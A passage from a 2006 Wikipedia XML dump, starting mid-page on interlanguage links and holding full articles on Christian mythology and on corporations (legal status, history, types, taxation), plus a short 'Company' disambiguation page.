[[lt:Plazminė membrana]]
[[lb:Zellmembran]]
[[mk:Клеточна мембрана]]
[[ms:Membran sel]]
[[nl:Celmembraan]]
[[ja:細胞膜]]
[[pl:Błona komórkowa]]
[[pt:Membrana plasmática]]
[[simple:Cell membrane]]
[[sk:Cytoplazmatická membrána]]
[[sl:Celična membrana]]
[[sr:Ћелијска мембрана]]
[[su:Mémbran sél]]
[[fi:Solukalvo]]
[[sv:Cellmembran]]
[[vi:Màng tế bào]]
[[tr:Hücre zarı]]
[[zh:细胞膜]]</text>
    </revision>
  </page>
  <page>
    <title>Christian mythology</title>
    <id>7482</id>
    <revision>
      <id>42014120</id>
      <timestamp>2006-03-03T05:39:12Z</timestamp>
      <contributor>
        <username>Maxamegalon2000</username>
        <id>410083</id>
      </contributor>
      <comment>Revert to revision 42014073 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Christian mythology''' is a body of stories that explains or symbolizes Christian beliefs. A '''Christian ''[[Mythology|myth]]''''' is a religious story that Christians consider to have deep explanatory or symbolic significance. Christian mythology can also be taken to refer to the entire mythos surrounding the Christian religious system, including the various narratives of both the [[Old Testament|Old]] and [[New Testament]]s.

Christian [[mythology]], without addressing any issues of core beliefs of [[Christianity]], includes the body of [[legend]]ary stories that have accumulated around [[New Testament]] figures and elaborates upon the lives of the [[Saint]]s, to emphasize, explain, or embody Christian beliefs. The legendary details of the career of [[Pontius Pilate]] are prime examples of Christian mythology. Many of the common themes in [[hagiography|hagiographies]] are among the conventions of Christian mythography. 

These stories include many that do not come from [[Biblical canon|canonical Christian texts]] and still do illustrate [[Christianity|Christian]] themes. Other stories that are intended to foster Christian values, or address specifically Christian spiritual traditions, may be included in Christian mythology. These stories are considered by some Christian journalists, theologians, and academics (see citations below) to constitute a body of ''Christian mythology.'' Stories which were once taken as true but are no longer accepted by most Christians are most easily identified as Christian mythology, such as the tale of [[Saint George]] or [[Saint Valentine]].

{{TOCleft}}

==Origins of Christian mythology==

The origins of many aspects of Christian mythology are found in earlier mythical constructs and religious belief systems from which it emerged and had contact with as it developed. It is generally accepted that initially Christianity emerged as a [[Judaism|Jewish]] sect in the 1st century, developing into a number distinct divisions constituting the early Christian movement of this period. Early Christian theologians such as [[Origen]] synthesised elements of Greek philosophy, especially [[Platonism]]. Some contend that Christianity was strongly influenced by the mystery religions of the Greco-Roman world and the Near East in which it developed, including [[Gnosticism]], the Nasseni, [[Essenes]],[[Therapeutae]],  [[Dionysus]],[[Mithraism]]. 

According to [[Martin A. Larson]], in ''The Story of Christian Origins'' (1977), Mithraism and Christianity is derived from the same sources: the savior cult of [[Osiris]]. It is known that many followers of developing Gnosticism, for example ([[Valentinius]]}, were also Christians and taught a synthesis of the two belief systems. Many scholars, such as Professor Barry Powell, argue that the cult of the [[Dionysus]] myth played a significant influencing role in the development of Christian mythology.

==Adoption and Spread of Christian mythology==

Works such as the epic poem [[Beowulf]] (c. 700-1000 CE) and other works of the period, show that the actual adoption of a Christian beliefs was a very slow and gradual process, as they permeated society, existing as a combination of both [[Christianity|Christian]] and [[Paganism|pagan]] beliefs through the centuries.

==Theological and academic studies==

In theological and academic studies, describing a story as ''myth'' sometimes, but not necessarily, implies falsehood. A true story can also be symbolic and explanatory. However, in common usage a ''myth'' is a story that is not true. Therefore to describe Bible stories and deeply held beliefs as 'myth' is frequently taken as an attack on those sources and on the beliefs which are based on them.

Many Christian scholars have adopted the terminology, and employ it without the connotation of disbelief (although almost always to distinguish their treatment of a story as a source of Christian belief, in contrast to literal history). In such a case the term ''myth'' may be applied to many Christian stories, including Biblical narrative. For most people the categorisation of a story they believe to be true as ''myth'' is taken as attack on that story, and frequently as an attack on Christianity.

==Selection of stories== 

A selection of such stories with mythic content might include:
* Stories from the [[apocrypha]]l books.
* Traditional stories such as that of [[Abgarus of Edessa]].
* Stories about the [[Holy Grail]].
* Elaborations or amendments to Biblical tales, such as the tales of [[Salomé]], the [[Magi|Three Wise Men]], or St. [[Dismas]].
* Names and biographical details supplied for unnamed Biblical characters: see ''[[List of names for the Biblical nameless]]''
* Literary treatments of traditional Biblical lore, such as ''[[Paradise Lost]]'' and ''[[Paradise Regained]]'' by [[John Milton]]
* Literary treatments of themes from Christian [[Christian theology|theology]] or [[Christian eschatology|eschatology]] such as the ''[[Divine Comedy]]'' by [[Dante Alighieri]]
* Tales of saints ([[hagiography|hagiographies]]) whose historicity is doubtful, like [[Saint Christopher]] or St. [[Catherine of Alexandria]] 
* [[Miracle|Miraculous]] stories of saints such as are found in [[Jacobus de Voragine]]'s ''[[Golden Legend]]''.
* The legends of [[King Arthur]] and other tales of [[Middle Ages|medieval]] chivalry, especially the [[Quest]] for the [[Holy Grail]].
* Legendary history of the Christian [[church]]es, such as the tales from the [[Crusades]] or the [[paladin]]s of [[Charlemagne]] in mediaeval [[romance (genre)|romance]].
* Stories about [[angel|angels]], [[guardian angel|guardian angels]], [[devil|devils]], and tales of making pacts with [[Satan|the Devil]] (see e.g. [[Faust]]).

==Narrative fictions==
Narrative fictions with Christian content may fall within the category of Christian mythology. A case in point is the historical and canonized [[Saint Brendan|Brendan of Clonfort]], a 6th century Irish churchman and founder of abbeys. Round his authentic figure was woven a tissue that belongs more to [[legend]] than mythology, the ''Navigatio'' or &quot;Journey of Brendan&quot;. In this narrative Brendan and his shipmates encounter sea monsters, a [[paradise|paradisal island]] and a floating ice island inhabited by a holy hermit: literal-minded devotés still seek to identify &quot;Brendan's islands&quot; in actual geography. 

Many fictions written to personalize Christian themes are better regarded as [[allegory]]. Examples of these might include:

* ''[[Pilgrim's Progress]]'' by [[John Bunyan]].
* ''[[The Chronicles of Narnia]]'' by [[C. S. Lewis]]

Some Christians discover Christian themes in ''[[The Lord of the Rings]]'' and other works by [[J.R.R. Tolkien]].  Though the author adamantly denied that his story was to be taken as an allegory, he admitted to influence from his own experience, which included devout Catholicism.

==Legacy==

From the time of [[St. Augustine]] in the fifth century to the [[Enlightenment]] in the eighteenth century, biblical stories provided the framework of European [[Mythology|mythology.]] Other myths found in different parts of Europe were Christianized and incorporated into this framework. Stories such as that of [[Beowulf]] and Icelandic, Norse, and Germanic sagas were reinterpreted and given Christian meanings. The legend of [[King Arthur]] and the quest for the [[Holy Grail]] is a striking example (Treharne 1971). The thrust of incorporation took on one of two directions. When Christianity was on the advance, pagan myths were Christianized; when it was in retreat, Bible stories were mythologized, sometimes into foreign myths. 

Since the end of the eighteenth century, biblical stories have ceased to provide the central mythology of Western society. Owing to the scepticism of the Enlightenment and nineteenth-century freethinking, most Westerners no longer find in Christianity the basic imaginative and mythological framework by which they understand their place in the world.

Certain subgroups within modern society still retain a strong element of Christian mythology in their understanding of life. It is also true that Christian values often inform law and other official elements within different Western societies, but nowhere today do we find biblical mythology providing both the popular and official myths of modern industrial society.

==External citations==

*Louis A. Markos in [http://www.christianitytoday.com/ct/2001/006/1.32.html Myth Matters], from [http://www.christianitytoday.com Christianity Today magazine]. Quote: &quot;just as Christ came not to abolish the Law but to fulfill it, so he came not to put an end to myth but to take all that is most essential in the myth up into himself and make it real.&quot; 
*Mark Filiatreau in [http://www.breakpoint.org/Breakpoint/ChannelRoot/FeaturesGroup/OnlineFeatures/A+Master+of+Imaginative+Fiction.htm A Master of Imaginative Fiction], from [http://www.breakpoint.org BreakPoint Online]. Quote: &quot;Classics of Christian Myth -- MacDonald&amp;rsquo;s key mythic works include five full-length books, which we&amp;rsquo;ll introduce here.&quot;
*Abstract of the [http://www.cgjungpage.org/abvol92.html Collected Works of C. G. Jung], from [http://www.cgjungpage.org/ The CG Jung page]. Quote: &quot;The astrological characteristics of the fish are seen to contain the essential components of the Christian myth.&quot;
*James W. Marchand in [http://www.artsci.wustl.edu/~smcarey/parallelsinNorse.html Christian Parallels to Norse Myth], from the Center for Advanced Study, University of Illinois. Quote: &quot;This reluctance to weigh fairly the possibility of the influence of Christian myth on Norse myth has had a number of unfortunate consequences. The most unfortunate is the resolute refusal on the part of most students of Norse myth to look at medieval Christian myth.&quot;

==See also==

* [[Religion and mythology]]
* [[Islamic mythology]]
* [[Jewish mythology]]
* [[Kabbalah]]



[[Category:Christian mythology|*]]

[[es:leyendas del cristianismo]]
[[fr:Mythologie biblique]]
[[it:mitologia cristiana]]
[[nl:Christelijke mythologie]]
[[sv:Kristen mytologi]]</text>
    </revision>
  </page>
  <page>
    <title>Company</title>
    <id>7484</id>
    <revision>
      <id>32455067</id>
      <timestamp>2005-12-23T06:16:55Z</timestamp>
      <contributor>
        <username>Rchamberlain</username>
        <id>181580</id>
      </contributor>
      <text xml:space="preserve">{{Wiktionarypar|company}}
'''Company''' may refer to:

* [[Company (law)]]
* [[Corporation]], depending on the jurisdiction, may or may not have the same meaning as Company (law)
* [[Company (military unit)]]

;Creative works:
* ''[[Company (musical)]]'', by Stephen Sondheim
* ''[[Company (novella)]]'', by Samuel Beckett
* ''[[Company (film)]]'', by Ram Gopal Varma starring Ajay Devgan and Vivek Oberoi
* ''[[Company (novel)]]'', by Max Barry

{{disambig}}

[[de:Kompanie]]
[[simple:Company]]</text>
    </revision>
  </page>
  <page>
    <title>Corporation</title>
    <id>7485</id>
    <revision>
      <id>40892107</id>
      <timestamp>2006-02-23T18:32:53Z</timestamp>
      <contributor>
        <ip>167.202.196.71</ip>
      </contributor>
      <comment>Additonal key economic argument for limited liability</comment>
      <text xml:space="preserve">:''For the 2003 documentary film see, [[The Corporation]].''
{{mergefrom|Incorporation (business)}}
{{BusinessLaw}}
A '''corporation''' is a [[legal entity]] (distinct from a [[natural person]]) that often has similar rights in [[law]] to those of a ''[[natural person]].'' 
[[Civil law (legal system)|Civil law]] systems may refer to corporations as &quot;moral persons&quot;; they may also go by the name &quot;AS&quot; (anonymous society) or something similar, depending on language (see below).

In colloquial usage, &quot;corporation&quot; usually refers to a [[business|commercial]] entity set up in accordance with a [[government]]al framework. Churches (mainly in US, but not so much in other countries, where Churches have a different status), interest groups (both can form as [[not-for-profit corporation]]s or can exist as [[voluntary association]]s), cities and townships (often chartered as [[public corporation]]s), among others, may also have historically lengthy corporate identities.

==Legal status==

The law typically views a corporation as a ''fictional person,'' a ''legal person'', or a ''moral person'' (as opposed to a [[natural person]]); United States law recognises this as [[corporate personhood]].  Under such a doctrine (obviously a [[legal fiction]]), a corporation enjoys many of the [[rights]] and [[obligation]]s of individual persons, such as the ability to own [[property]], sign binding [[contract]]s, pay [[tax|taxes]], have certain constitutional rights, and otherwise participate in [[society]]. (Note that corporations do not possess all the rights appertaining to individuals: in most jurisdictions, for example, a corporation cannot become a [[citizen]] and vote.)

In [[common law]] countries, the classic statement of this principle is found in ''[[Lennard's Carrying Co Ltd v Asiatic Petroleum Co Ltd]]'' [1915]
AC 705, where Lord Haldane said: 
:''&quot;My Lords, a corporation is an abstraction. It has no mind of its own any more than it has a body of its own; its active and directing will must consequently be sought in the person of somebody who is really the directing mind and will of the corporation, the very ego and centre of the personality of the corporation.&quot;''

The most salient features of [[incorporation (business)|incorporation]] include: 
#''Limited Liability''. Unlike in a partnership or sole proprietorship, members of a corporation hold no liability for the corporation's debts and obligations: see leading case in common law, [[Salomon v. Salomon &amp; Co.]] [1897] AC 22. As a result their &quot;limited&quot; potential losses cannot exceed the amount which they contributed to the corporation as dues or paid for shares.  The economic rationale for this lies in the fact that it allows anonymous trading in the shares of the corporation by virtue of eliminating the corporation's creditors as a stakeholder in such a transaction: Without limited liability, a creditor would not likely allow any share to be sold to a buyer of at least equivalent creditworthiness as the seller. Limited liability further allows corporations to raise funds for [[risk]]ier enterprises by removing risks and costs from the owners and shifting them onto creditors and to other members of society, thereby creating an [[externality]]. Another rationale sometimes offered for limited liability is reducing the amount that an investor can lose reduces the time and effort required to determine whether a stock is risky, thus adding liquidity to the stock market - in contrast to the very illiquid market for partnership interests (however, given the [[due diligence]] already exercised by institutional and other large investors, and the availability of insurance, it is questionable whether added liability would increase the costs of determining risk sufficiently to impair the liquidity of the stock market).  In any event, a lender or other creditor can require a personal guarantee on a loan to a corporation (normally a small corporation), thus introducing personal liability. 
#''Perpetual Lifetime''. The assets and structure of the corporation exist beyond the lifetime of any of its members or agents. This allows for stability and accumulation of [[capital (economics)|capital]], which thus becomes available for [[investment]] in projects of a larger size and over a longer term than if the corporate assets remained subject to dissolution and distribution. This feature also had great importance in the [[medieval]] period, when [[Land (economics)|land]] donated to the Church (a corporation) would not generate the feudal fees that a lord could claim upon a landholder's death. In this regard, see [[Statute of Mortmain]]. It is important to note that the &quot;perpetual lifetime&quot; feature is an indication of the unbounded potential duration of the corporation's existence, and its accumulation of wealth and thus power. (In theory, a corporation can have its charter revoked at any time, putting an end to its existence as a legal entity.  However, in practice, dissolution only occurs for corporations that request it or fail to meet annual filing requirements.)  

===Ownership and control===

Humans and other legal entities composed of humans (such as [[trust]]s and other corporations) can be members of corporations.  In the case of for-profit corporations, these members hold [[share (finance) |shares]] and are thus called [[shareholder]]s. When no members or shareholders exist, a corporation may exist as a &quot;memberless corporation&quot; or similar &amp;#8212; this second type of corporation counts as a [[not-for-profit corporation]]. In either category, the corporation comprises a [[collectivism | collective]] of individuals with a distinct legal status and with special privileges not provided to ordinary unincorporated businesses, to [[voluntary association]]s, or to groups of individuals.

Typically, a [[board of directors]] governs a corporation on the behalf of the members.  The corporate members elect the directors, and the board has a [[fiduciary duty]] to look after the interests of the corporation. The corporate officers such as the [[CEO]], [[president]], [[treasurer]], and other titled officers are usually chosen by the board to [[management|manage]] the affairs of the corporation.

Corporations can also be controlled (in part) by creditors such as [[bank]]s. In return for lending money to the corporation, creditors can demand a control interest analogous to that of a shareholder, including one or more seats on the board of directors. Creditors are not said to &quot;own&quot; the corporation as shareholders do, but can outweigh the shareholders in practice, especially if the corporation is experiencing financial difficulties and cannot survive without credit.

Members of a corporation are said to have a &quot;residual interest.&quot; Should the corporation end its existence, the members are the last to receive its assets, following creditors and others with interests in the corporation. This can make investment in a corporation risky; however, the risk is outweighed by the corporation's limited liability, which ensures that the member will only be liable for the amount they contributed.

===Formation===

Historically, corporations were created by special [[charter]] of governments. Today, corporations are usually registered with the state, province, or federal government and become regulated by the laws enacted by that government. Registration is the main prerequisite to the corporation's assumption of limited liability. As part of this registration, it must designate the principal address of the corporation (where to contact it in the event of legal process), and often an [[agent]] or other legal representative of the corporation.

Generally, a corporation files [[articles of incorporation]] with the government, laying out the general nature of the corporation, the amount of stock it is authorized to issue, and the names and addresses of directors. Once the articles are approved, the corporation's directors meet to create [[bylaws]] that govern the internal functions of the corporation, such as meeting procedures and officer positions.

The law of the jurisdiction in which a corporation operates will regulate most of its internal activities, as well as its finances. If a corporation operates outside its home state, it is often required to register with other governments as a [[foreign corporation]], and is almost always subject to laws of its host state pertaining to employment, crimes, contracts, civil actions, and the like.

===Naming===

Corporations generally have a distinct name. Historically, corporations were named after their membership: for instance, &quot;The President and Fellows of Harvard College.&quot; Nowadays, corporations in most jurisdictions have a distinct name that does not need to make reference to their membership.  In Canada, this possibility is taken to its logical extreme: many smaller Canadian corporations have no names at all, merely numbers (e.g., &quot;Ontario 123-4567 Limited&quot;). (See the section [[Corporation#Pre-modern corporations|Pre-modern corporations]] below for more examples of historical names.)

In most countries, corporate names include the term &quot;Corporation&quot;, or an abbreviation that denotes the corporate status of the entity.  See [[Types of corporations]] for a full list.  These terms, known as ''words of limitation'', obviously vary by jurisdiction and language.  Their use puts all persons on [[constructive notice]] that they have to deal with an entity whose [[liability]] remains limited, in the sense that it does not reach back to the persons who constitute the entity; one can only collect from whatever assets the entity still controls at the time one obtains a judgment against it.

Certain jurisdictions do not allow the use of the word &quot;'''company'''&quot; alone to denote corporate status, since the word &quot;company&quot; may refer to a [[partnership]] or to a [[sole proprietorship]], or even, archaically, to a group of not necessarily related people (for example, those staying in a tavern).

===Unresolved issues===

The nature of the corporation continues to evolve, both through existing corporations pushing new ideas and structures, courts responding, and governments regulating in response to new situations.  A question of long standing is that of diffused responsibility: for example, if the corporation is found liable for a death, then  how should the blame and punishment for this be allocated across the shareholders, directors, management and staff of the corporation, and the corporation itself?  See [[corporate manslaughter]] specifically, and [[corporate liability]] generally.

The present law differs among jurisdictions, and is in a state of flux.  Some argue that the owners of the business - the shareholders - should be ultimately responsible for such circumstances, but the modern corporation may have many millions of small-scale shareholders who know nothing about its business activities.  In addition, [[traders]] - especially [[hedge funds]] - may rapidly turn over their partial ownership of a corporation many times a day.

One position is that the directors should be passed the burden of moral and legal responsibility as part of their job of representing the shareholders.  Another position is that the artificial entity of the corporation itself should be held liable, in accordance with the model of a corporation as a natural person.  In some jurisdictions, both directors and the corporation are liable for certain offences (see, for example, the Canadian province of Ontario's Environmental Protection Act).  The issue of corporate repeat offenders (see H.Glasbeak, &quot;Wealth by Stealth: Corporate Crime, Corporate Law, and the Perversion of Democracy&quot; (Between the lines press: Toronto 2002) raises the question of the so-called &quot;death penalty for corporations.&quot; [http://www.corpwatch.org/article.php?id=1810]

==Origins==

===Etymology===

The word &quot;corporation&quot; derives from the [[Latin]] ''Corpus'' (body), representing a &quot;body of people&quot;; that is, a ''group of people authorized to act as an individual'' ([[Oxford English Dictionary]]). The word ''universitas''  also used to refer to a group of people but now refers  specifically to a group of scholars (see [[University]]).  In the [[United Kingdom]] and [[Republic of Ireland]], the term ''corporation'' was also used for the local government body in charge of a [[borough]]. This style was replaced in most cases with the term [[council]] in the United Kingdom in 1973, and in the Republic of Ireland in 2001. The sole exception is the [[Corporation of London]] which retains the title.

===Pre-modern corporations===

Corporations have been present in some forms as far back as Ancient Rome. Although devoid of some of the core characteristics by which corporations are known today, they nonetheless were enterprises, sanctioned by the state, with a form of shareholders who invested money for a specific purpose.

With the collapse of the [[Roman Empire]], the rise of [[Christianity]] and the influx of Germanic tribes, the Roman conception of the corporation merged with other views. Germanic tribes, for example, maintained that a group entity in and of itself could have a separate identity from that of its members. 

These influences came together in the body of canon law built around the conception of the church as corporate structure in the Middle Ages. Different theories of the church as corporate body were favored by different individuals but all agreed on one key component: that the church was more than just its members and could maintain an existence perpetually, regardless of the death of any individual member.

This, together with discussion as to the relationship between the head of a corporation (such as the Pope) and its members, contributed not only to the development of modern corporations and [[corporate theory]] but also set the stage for many ideas that would come to fruition during the enlightenment. [[Kenneth Pomeranz]], an economic historian, argues that the need to perform pseudo-governmental operations (such as the waging of [[war]]) accounts for the development of this economic structure in [[Europe]] but not in [[China]] or in the [[Middle East]].

Older corporate entities gained incorporation as &quot;the person/people of xx&quot;. This reflected the people who made up the &quot;body&quot; and also emphasised their legal identity. The law classifies a corporation either as a [[corporation sole]] (one person) or as a [[corporation aggregate]] (any other number). 

Examples include (the link gives the legal name; the nickname appears in brackets with the nature of the corporation)
*[[Bank of England|The Governor and Company of the Bank of England]] (Bank of England &amp;mdash; corporation aggregate)
*[[University of Cambridge|The Chancellor Masters and Scholars of the University of Cambridge]] (Cambridge University &amp;mdash; corporation aggregate)
*[[Harvard College|The President and Fellows of Harvard College]] (Harvard College &amp;mdash; corporation aggregate)
*[[New Zealand|Her Majesty the Queen in Right of New Zealand]] (New Zealand Government &amp;mdash; corporation sole)
*The [[Archbishop of Canterbury]] (corporation sole)
*[[Christ Church, Oxford|The Dean, Chapter and Students of the Cathedral Church of Christ in Oxford of the Foundation of King Henry VIII]] (Christ Church, Oxford &amp;mdash; corporation aggregate)

Using strict definitions, universities and [[college]]s count as corporations since they merely comprise groups of people.

===Development of modern commercial corporations===
[[Image:Vereinigte Ostindische Compagnie (VOC)share.jpg|thumb|250px|A [[bond]] issued by the [[Dutch East India Company]], dating from [[7 November]] [[1623]], for the amount of 2,400 [[florin]]s]]
Early corporations of the commercial sort were formed under frameworks set up by governments of [[state]]s to undertake tasks which appeared too risky or too expensive for individuals or governments to embark upon. The alleged oldest commercial corporation in the world, the [[Stora Kopparberg]] [[mining]] community in [[Falun]], [[Sweden]], reportedly obtained a [[charter]] from [[monarch|King]] [[Magnus II of Sweden|Magnus Eriksson]] in [[1347]]. Many European nations chartered corporations to lead colonial ventures, such as the [[Dutch East India Company]], and these corporations came to play a large part in the history of [[corporate colonialism]].

In the [[United States]], government chartering began to fall out of vogue in the mid-1800s. Corporate law at the time was focussed on protection of the public interest, and not on the interests of corporate shareholders.  Corporate charters were closely regulated by the states. Forming a corporation usually required an act of legislature. Investors generally had to be given an equal say in corporate governance, and corporations were required to comply with the purposes expressed in their charters. Many private firms in the 19th century avoided the corporate model for these reasons ([[Andrew Carnegie]] formed his steel operation as a [[limited partnership]], and [[John D. Rockefeller]] set up [[Standard Oil]] as a [[trust]]). Eventually, state governments began to realize the greater corporate registration revenues available by providing more permissive corporate laws. [[New Jersey]] was the first state to adopt an &quot;enabling&quot; corporate law, with the goal of attracting more business to the state. [[Delaware]] followed, and soon became known as the most corporation-friendly state in the country; even today, most major public corporations are set up under Delaware law.

The 20th century saw a proliferation of enabling law across the world, which some argue helped to drive economic booms in many countries before and after [[World War I]] (the advantage to the overall economy of enabling laws must, however, be viewed in light of the success of Carnegie Steel and Standard Oil, the economic stimulus of the war, the flourishing of the automotive sector, and other major economic drivers).  Starting in the 1980s, many countries with large state-owned corporations moved toward [[privatization]], the selling of publicly-owned services and enterprises to private, normally corporate, ownership.  [[Deregulation]] - reducing the public-interest regulation of corporate activity - often accompanied privatization as part of an ideologically [[laissez-faire]] policy. Another major postwar shift was toward development of [[Conglomerate (company)|conglomerate]]s, in which large corporations purchased smaller corporations to expand their industrial base. [[Japan]]ese firms developed a horizontal conglomeration model, the [[keiretsu]], which was later duplicated in other countries as well. While corporate efficiency (and profitability) skyrocketed, small shareholder control was diminished and [[Board of directors|director]]s of corporations assumed greater control over business, contributing in part to the [[hostile takeover]] movement of the 1980s and the accounting scandals that brought down [[Enron]] and [[WorldCom]] following the turn of the century.

More recent corporate developments include [[downsizing]], [[contracting-out]] or out-sourcing, [[off-shoring]] and scoping down activities to [[core business]], as [[information technology]], global trade regimes, and cheap fossil fuels enable corporations to reduce and [[externalize]] labour costs, transportation costs and transaction costs, and thereby maximize profits.

For a history of corporations that is “pro-corporate”, see John Micklethwait and Adrian Wooldridge, The Company: a Short History of a Revolutionary Idea (New York: Modern Library, 2003).  For a history of corporations that is “critical”, see Joel Bakan, The Corporation. The pathological pursuit of profit and power (Toronto: Viking Canada, 2004).

==Types of corporations==

===For-profit and non-profit===
''Main article: [[non-profit organization]]''

In modern economic systems, the corporate conventions of [[governance]] commonly appear in  a wide variety of business and [[Non-profit organization|non-profit]] activities.  Though the laws governing these creatures of [[statute]] often differ, the courts often interpret provisions of the law that apply to profit-making enterprises in the same manner (or in a similar manner) when applying principles to non-profit organizations &amp;mdash; as the underlying structures of these two types of entity often resemble each other.

===Closely-held and public===

The institution most often referenced when the word &quot;corporation&quot; is used, as in the title of the movie ''[[The Corporation]]'', is a '''public''' or '''publicly traded''' corporation, the shares of which are traded on a public market (e.g., the New York Stock Exchange or Nasdaq) designed specifically for the buying and selling of shares of stock of corporations by and to the general public. Most of the largest businesses in the world are publicly traded corporations. However, the majority of corporations are said to be '''closely held''', '''privately held''' or '''close corporations''', meaning that no ready market exists for the trading of ownership interests. Many such corporations are owned and managed by a small group of businesspeople or companies, although the size of such a corporation can be as vast as the largest public corporations.

The affairs of publicly traded and closely held corporations are similar in many respects. The main difference in most countries is that publicly traded corporations have an additional burden of complying with securities laws, which (especially in the U.S.) grant further rights to stockholders to protect them from fraud or unfairness in connection with the sale and purchase of stock. The publicly traded corporation must usually follow much more stringent disclosure requirements, and sometimes additional procedural obligations in connection with major transactions (e.g. mergers) or events (e.g. elections of directors).

===Multinational corporations===
Following on the success of the corporate model at a national level, many corporations have become transnational or [[multinational corporation]]s: growing beyond national boundaries to attain sometimes remarkable positions of power and influence in the process of [[globalisation | globalising]].

The typical &quot;transnational&quot; or &quot;multinational&quot; may fit into a web of overlapping ownerships and directorships, with multiple branches and lines in different regions, many such sub-groupings comprising corporations in their own right. Growth by expansion may favour national or regional branches; growth by [[acquisition]] or [[merger]] can result in a plethora of groupings scattered around and/or spanning the globe, with structures and names which do not always make clear the structures of ownership and interaction.

In the spread of corporations across multiple continents, the importance of [[corporate culture]] has grown as a unifying factor and a counterweight to local national sensibilities and cultural awareness.

==National features==
There are various [[types of corporations]] throughout the world.
===United States===
In the [[United States]], several corporate forms exist; the name of &quot;corporation&quot; generally applies to a [[business]], run for profit, to which one of the [[states of the United States]] has granted a [[corporate charter]]. American corporations often charter as a [[Delaware Corporation]] in [[Delaware]], which charges no tax on activities outside the state and has courts experienced in [[commercial law]]. Corporations set up for [[privacy]] or asset protection often charter in [[Nevada]], which allows setting them up with no record of who owns them. The federal [[government of the United States]] usually does not grant corporate charters, except for some special instances such as [[Amtrak]] and [[Freddie Mac]] and banks and credit unions which opt not to receive charters from their home states.

Historically, most [[U.S. state]]s issued charters for fixed lengths of time (for example, a manufacturing corporation might receive a charter good for 40 years), and only by an act of the legislature.  Some individuals believed corporations should remain [[accountability|accountable]] to the government and used these limited charters as a means of forcing companies to do so. Investors, however, noted that it led to unhealthy amounts of political payoffs and graft.  Most states now charter unlimited-term corporations for a small fee, and possibly for a yearly tax.

Legally, corporations are accorded some [[corporate personhood]], i.e.  [[Constitutional]] [[rights]] similar to those held by persons.  The [[Supreme Court of the United States|U.S. Supreme Court]] ruled on this question in the [[1886]] case ''[[Santa Clara County v. Southern Pacific Railroad]]''.

Many countries around the world now have corporate laws based upon state laws from the [[United States]]. For example, corporations in [[Japan]] are organized under a variant of the corporate law of [[Illinois]], and corporations in [[Saudi Arabia]] follow corporate laws copied from [[New York]].

The oldest corporation in the [[United States]], and the oldest in North America, is the [[President and Fellows of Harvard College]] (also known as the Harvard Corporation), chartered in [[1650]].

===Canada===
In [[Canada]] both the federal government and the [[Provinces of Canada|province]]s have corporate statutes, and thus a corporation may have a provincial or a federal charter. Many older corporations in Canada stem from [[Act of Parliament|Acts of Parliament]] passed before the introduction of general corporation law.  The oldest corporation in Canada, and second oldest in North America, is the [[Hudson's Bay Company]], chartered in [[1670]]. Federally recognized corporations are regulated by the [[Canada Business Corporations Act]].

===German-speaking countries===
[[Germany]], [[Austria]] and [[Switzerland]] recognize two forms of corporation: the [[Aktiengesellschaft]] (AG), analogous to public corporations in the English-speaking world, and the [[Gesellschaft mit beschränkter Haftung]] (GmbH), similar to (and an inspiration for) the modern [[limited liability company]].

===See also===
*[[Bylaw]]
*[[Commercial law]]
*[[Corporate governance]]
*[[Delaware corporation]]
*[[Preferred stock]]
*[[Stock certificate]]s

==Corporate taxation==
In many countries, including the United States and United Kingdom, corporate profits are taxed at a [[corporate tax]] rate, and dividends paid to shareholders are taxed at a separate rate. Such a system is sometimes referred to as &quot;double taxation,&quot; because any profits distributed to shareholders will eventually be taxed twice.  One solution to this (as in the case of UK tax system) is for the recipient of the dividend to be entitled to a tax credit which addresses the fact that the profits represented by the dividend have already been taxed.  The company profit being passed on is therefore effectively only taxed at the rate of tax paid by the eventual recipient of the dividend.

Where a double taxation system exists, the additional tax burden is often an incentive for smaller businesses to organize in the form of a partnership, limited liability company, or other type of entity that is not separately taxed. Such entities are often called &quot;pass-through entities.&quot;

In the [[United States]], business corporations owe taxes according to two basic categories. A &quot;[[C corporation]]&quot; must pay [[corporate tax]]es, while &quot;[[S corporation]]s&quot; pay no corporate taxes but instead pass profits and losses directly to their owners (the stockholders) who declare such profits and losses as part of their personal [[income tax|taxable income]]. An S corporation must generally have no more than 100 stockholders, who must be [[natural person]]s (not other corporations or entities), must reside in the United States, and must consent to the classification; moreover, the S corporation can only issue a single class of stock. As a result of these restrictions, all publicly traded corporations and many larger close corporations have C corporation status.  Certain kinds of [[investment company|investment companies]] are also exempt from corporate income taxes, provided they distribute almost all of their income to shareholders in the form of [[dividend]]s or [[capital gain]]s distributions.

==Other commercial entities==

Several other forms of business entity exist under the laws of various countries. These include:

* [[Partnership]]
* [[Limited partnership]] (LP)
* [[Limited liability partnership]] (LLP)
* [[Limited liability company]] (LLC)
* [[Limited company]] (Ltd.)
* [[Sole proprietorship]]

==References==
*Klein and Coffee. ''Business Organization and Finance: Legal and Economic Principles'' (Foundation, 2002), ISBN 158778713X
*Hessen, Robert. ''In Defense of the Corporation''. (Hoover Institute 1979), ISBN 081797072X
*Kirzner, Israel M. ''Competition and Entrepreneurship'' (University of Chicago Press, 1973), ISBN 0226437760
*Bromberg, Alan R. ''Crane and Bromberg on Partnership''. 1968.
*Conard, Alfred F. ''Corporations in Perspective''. 1976.
*John Micklethwait and Adrian Wooldridge, The Company: a Short History of a Revolutionary Idea (New York: Modern Library, 2003).
*Joel Bakan, [[The Corporation]]. The pathological pursuit of profit and power (Toronto: Viking Canada, 2004).
*[[Alfred Sohn-Rethel]] ''Economy and Class Structure of German Fascism'',London, CSE Bks, 1978 ISBN  0906336007

==See also==
*[[Conglomerate (company)]]
*[[Corporate governance]]
*[[Corporate haven]]
*[[Corporate personhood]]
*[[Corporatism]]
*[[Guild]]
*[[Incorporation (business)]]
*[[Limited liability company]] (LLC)
*[[Megacorp]]
*[[Public Limited Company]] (PLC)
*[[Shelf Corporation]]
*[[Community interest company]]

==External links==
*''[[wikibooks:US Corporate Law|US Corporate Law]]'' at Wikibooks

&lt;!-- Categorization --&gt;
[[Category:Corporations| ]]
[[Category:Business law]]
[[Category:Corporations law]]
[[Category:Legal entities]]
[[Category:Types of companies]]

[[de:Unternehmen]]
[[et:Ettevõte]]
[[es:Corporación]]
[[eo:Entrepreno]]
[[fr:Entreprise]]
[[ko:주식회사]]
[[id:Perusahaan]]
[[he:חברה (תאגיד)]]
[[lb:Entreprise]]
[[hu:Vállalat]]
[[nl:Bedrijf]]
[[ja:株式会社]]
[[no:Aksjeselskap]]
[[nn:Aksjeselskap]]
[[pl:Korporacja]]
[[simple:Company]]
